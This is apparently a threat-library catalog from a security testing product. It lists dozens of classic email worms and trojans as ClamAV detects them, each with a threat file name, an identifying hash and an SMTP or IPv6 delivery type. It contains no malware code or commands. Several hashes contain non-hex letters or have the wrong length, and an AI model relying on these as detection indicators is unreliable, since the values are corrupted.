Detailed Description:	This is the email virus Email-Worm.Win32.Sandra.san as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Sandra.san. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Linn.lin.95fc28e0.xml
Executive Description:	Email Virus Email-Worm.VBS.Linn.lin
Detailed Description:	This is the email virus Email-Worm.VBS.Linn.lin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Linn.lin. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Winext.a.a.63882596.xml

Executive Description:	Email Virus Email-Worm.Win32.Winext.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Winext.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Winext.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.7ce9e947.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7ce9e947b1d4e19eb2bebbf65ae27fee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Anar.b.b.9ace2649_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Anar.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Anar.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Anar.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Netav.A.8d56dc69_IPv6.xml
Executive Description:	Email Virus Worm.Netav.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Netav.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d56dc690037fe42056076636971ecb4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Merlin.a9a5de52_IPv6.xml
Executive Description:	Email Virus Worm.Merlin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Merlin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a9a5de5236b337a724ed7bd5e47d101b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Alicia.A.b99162cb_IPv6.xml
Executive Description:	Email Virus VBS.Alicia.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Alicia.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b99162cb3be77e55f10cb5d494a2178c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.Y.23cd4244.xml
Executive Description:	Email Virus Worm.LoveLetter.Y
Detailed Description:	This is the email virus Worm.LoveLetter.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 23cd4244fd4eb14ca42f4af89f576dac. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Youzer.you.a489c2bd_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Youzer.you (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Youzer.you as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Youzer.you. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Music.A.6f0e9a9b_IPv6.xml
Executive Description:	Email Virus Worm.Music.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Music.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f0e9a9bcc392a00ffd93772d0e84251. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AF.1d9b5f7c.xml
Executive Description:	Email Virus Worm.Bagle.AF
Detailed Description:	This is the email virus Worm.Bagle.AF as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d9b5f7c639458dda7699612ee305fcc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Clown.a.f46aelf9_IPv6.xml
Executive Description:	Email Virus Worm.Clown.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f46aelf9343581271dalle814935d772. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	VBS.Qoma.A.9a5f3b48.xml
Executive Description:	Email Virus VBS.Qoma.A
Detailed Description:	This is the email virus VBS.Qoma.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9a5f3b488aeecl17a4263cf248fbd2323. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Spth.Jsg.c.c.5f4962a6_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.Spth.Jsg.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.Spth.Jsg.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Spth.Jsg.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Avron.e.e.2f9165c9.xml
Executive Description:	Email Virus Email-Worm.Win32.Avron.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Avron.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Avron.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lee.r.5213917c_IPv6.xml
Executive Description:	Email Virus Worm.Lee.r (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lee.r as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5213917c6a740de8224687694a98adee. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Scamblcr.df24elcc_IPv6.xml
Executive Description:	Email Virus W32.Scamblcr (IPv6 Version)
Detailed Description:	This is the email virus W32.Scamblcr as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: df24elccceb3c75dada950alclabca4d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.b.b.819bfb77.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Obi.f0c66ecf_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Obi (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Obi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0c66ecfe750f4f740859c236e75f557. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.4449f495_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4449f495b216d6e2da568fd57b45fc33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.11622ebc.xml
Executive Description:	Email Virus Worm.Vorgon.B
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11622ebc8d497446923cf2ab79alacb6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Icecubes.A.0556976e_IPv6.xml
Executive Description:	Email Virus Worm.Icecubes.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Icecubes.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0556976eb438ac5f7ff2aa0e1e8db7f3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.D-dll.a0c9ed58_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.D-dll (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.D-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a0c9ed58da4620a7395cbf05ec337639. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Junkboat.b.8ef82c44.xml
Executive Description:	Email Virus Worm.Junkboat.b
Detailed Description:	This is the email virus Worm.Junkboat.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ef82c44e2f1404c97ad765a953473ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sint.9457158a.xml
Executive Description:	Email Virus Worm.Sint
Detailed Description:	This is the email virus Worm.Sint as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9457158ad9955af10c3922574b35bf32. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Merlin.b.71c0c1d5_IPv6.xml
Executive Description:	Email Virus Worm.Merlin.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Merlin.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71c0c1d50b4b30e09e4877e5a554aa71. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Goround.gor.20a2a423_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Goround.gor (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Goround.gor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Goround.gor. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.853d9d8f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Z (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 853d9d8fb616eel8b774c3c2e8953f4f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.DDV.c.c.9blb30a4_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.DDV.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.DDV.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.DDV.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.BadTrans.1.39c85a0d.xml
Executive Description:	Email Virus Worm.BadTrans.1
Detailed Description:	This is the email virus Worm.BadTrans.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c85a0d847aa21c7dedd69dca7ae9bc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Centar.A.35a0c808.xml
Executive Description:	Email Virus Worm.Centar.A
Detailed Description:	This is the email virus Worm.Centar.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 35a0c808a7424a8e321b0c2562998c31. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.239644e3.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 239644e31ce940a25a8ca907feba0d19. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sobig.C.6ffabb00.xml
Executive Description:	Email Virus Worm.Sobig.C
Detailed Description:	This is the email virus Worm.Sobig.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6ffabb00d059b6c4656ea20948ab42be. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Pics.76a3ab4c.xml
Executive Description:	Email Virus Worm.Pics
Detailed Description:	This is the email virus Worm.Pics as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 76a3ab4cc1ac6a8e9cb94e697053760b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Shuq.e.e.a7b6351e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Shuq.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Shuq.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Shuq.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mabutu.A.3.21c524fb_IPv6.xml
Executive Description:	Email Virus Worm.Mabutu.A.3 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mabutu.A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21c524fb80b39d7c756e6b8bb61c195d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.b.b.df178921.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.PrettyPark.28fa84c8_IPv6.xml
Executive Description:	Email Virus W32.PrettyPark (IPv6 Version)
Detailed Description:	This is the email virus W32.PrettyPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28fa84c8e0799a79814d275f91b086b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.BWG.C.88b8c658.xml
Executive Description:	Email Virus VBS.BWG.C
Detailed Description:	This is the email virus VBS.BWG.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 88b8c658ff12611b20152682a409eaf1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.3fb67d40_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3fb67d40f9a80799ef41fb5a849c7001. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Scary.b4978dle.xml
Executive Description:	Email Virus Worm.Scary
Detailed Description:	This is the email virus Worm.Scary as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4978dle7542eafdc7b3908a5f45b8a6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Moncher.B.f7ef5aef_IPv6.xml
Executive Description:	Email Virus Worm.Moncher.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Moncher.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7ef5aef14dc14e616ba2deb2c92d7e98. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Challenge.f95blad3_IPv6.xml
Executive Description:	Email Virus Worm.Challenge (IPv6 Version)
Detailed Description:	This is the email virus Worm.Challenge as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f95blad38d100602d8000198f0762f04. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.aa389c47.xml
Executive Description:	Email Virus W32.Ultratt.gz
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aa389c47e3c7a4c2c71af9aebc26b5f9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.d.d.4d60863c_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.6dbdb716.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6dbdb716859b6b5a47f10571cf2eabed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Coronex.a.a.0bb8c80d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Coronex.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Coronex.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Coronex.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.95ef42bd.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95ef42bd46b432bfff07398e347faee62. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Mesut.6955341a_IPv6.xml
Executive Description:	Email Virus VBS.Mesut (IPv6 Version)
Detailed Description:	This is the email virus VBS.Mesut as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6955341a7edd6675f6e8a79e2e33e287. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.MooD.c81495a1.xml
Executive Description:	Email Virus Worm.VBS.MooD
Detailed Description:	This is the email virus Worm.VBS.MooD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c81495a120fe58efa2da7efcab25d063. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Qoma.b.b.9b33ab9e.xml
Executive Description:	Email Virus Email-Worm.VBS.Qoma.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Qoma.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Qoma.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Quamo.qua.alf72232.xml
Executive Description:	Email Virus Email-Worm.Win32.Quamo.qua
Detailed Description:	This is the email virus Email-Worm.Win32.Quamo.qua as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Quamo.qua. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8d8d94a1.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d8d94a1f6ded1ffef0d3ae0ba51f140. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Picris.7e4051e2_IPv6.xml
Executive Description:	Email Virus Worm.Picris (IPv6 Version)
Detailed Description:	This is the email virus Worm.Picris as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e4051e20c1a5f69a286828d1891109f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.S.4d46781c.xml
Executive Description:	Email Virus Worm.Mydoom.S
Detailed Description:	This is the email virus Worm.Mydoom.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4d46781c778cedf41975e46259562997. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Petik.1.175dbf33_IPv6.xml
Executive Description:	Email Virus Worm.Petik.1 (IPv6 Version)

Detailed Description:	This is the email virus Worm.Petik.l as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 175dbf33282ed471b62d616be435a03f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Kitro.D.77422aef.xml
Executive Description:	Email Virus VBS.Kitro.D
Detailed Description:	This is the email virus VBS.Kitro.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77422aefaa714f9480f98d57ca848de9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.JS.Crus.7453d64c.xml
Executive Description:	Email Virus Worm.JS.Crus
Detailed Description:	This is the email virus Worm.JS.Crus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7453d64c414059d4b575bdee493253f3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lassorm.06e877cf.xml
Executive Description:	Email Virus Worm.Lassorm
Detailed Description:	This is the email virus Worm.Lassorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 06e877cfdb0f6f75e0d1cec7fb975791. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.e.e.02506b10_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SCO.A.53df3909_IPv6.xml
Executive Description:	Email Virus Worm.SCO.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.SCO.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 53df39092394741514bc050f3d6a06a9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.002.207169bb.xml
Executive Description:	Email Virus W95.Hybris.PI.002
Detailed Description:	This is the email virus W95.Hybris.PI.002 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207169bb3935c53060ce8b4f3f39943a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.ff8153d5.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff8153d5968093a6da78c370ac57a8fe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.a6f5addd.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a6f5adddfe420782c9469a0625e9b2b56. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.HomePage.1.443c5c4c.xml
Executive Description:	Email Virus VBS.HomePage.1
Detailed Description:	This is the email virus VBS.HomePage.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 443c5c4c2eea29c0855f09116d02c3b3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.c56e42a1.xml
Executive Description:	Email Virus Worm.Heath.c
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c56e42a1499e57bcdcf29492876b80b9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Paukor.b.b.7629f68e_IPv6.xml

Executive Description:	Email Virus Email-Worm.Win32.Paukor.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Platnico.955ab5ea.xml
Executive Description:	Email Virus VBS.Platnico
Detailed Description:	This is the email virus VBS.Platnico as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 955ab5ea35f362e508efdc3709ebb397. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.A.84e4510a.xml
Executive Description:	Email Virus VBS.LoveLetter.A
Detailed Description:	This is the email virus VBS.LoveLetter.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 84e4510aec4d76c5d431ab32d7458f8c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Desos.b.b.5cef527d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Desos.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Desos.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Desos.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Without.c.b69622e8.xml
Executive Description:	Email Virus Worm.Without.c
Detailed Description:	This is the email virus Worm.Without.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b69622e85785ccc48dbd320c1443326f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Y.5d7c0dc3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Y (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7c0dc34fca6897fb64248580cdfcf9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hanged.490dbb43_IPv6.xml
Executive Description:	Email Virus Worm.Hanged (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hanged as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 490dbb430f8f27af102c06a635032d78. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Soda.56a183ab_IPv6.xml
Executive Description:	Email Virus Worm.Soda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Soda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 56a183abf5b62d02c9842661648233a0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Rogut.rog.ed010bb8_IPv6.xml
Executive Description:	Email Virus Email-Worm.BAT.Rogut.rog (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.BAT.Rogut.rog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Rogut.rog. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.MP.Virus.52040688_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.MP.Virus (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.MP.Virus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52040688c639ad17613dddaa900b29a4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kuasa.c15a7ael_IPv6.xml
Executive Description:	Email Virus Worm.Kuasa (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kuasa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c15a7ael8bba46cfee9b16dfb79bcff1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Gift.B.d6dd0e68.xml
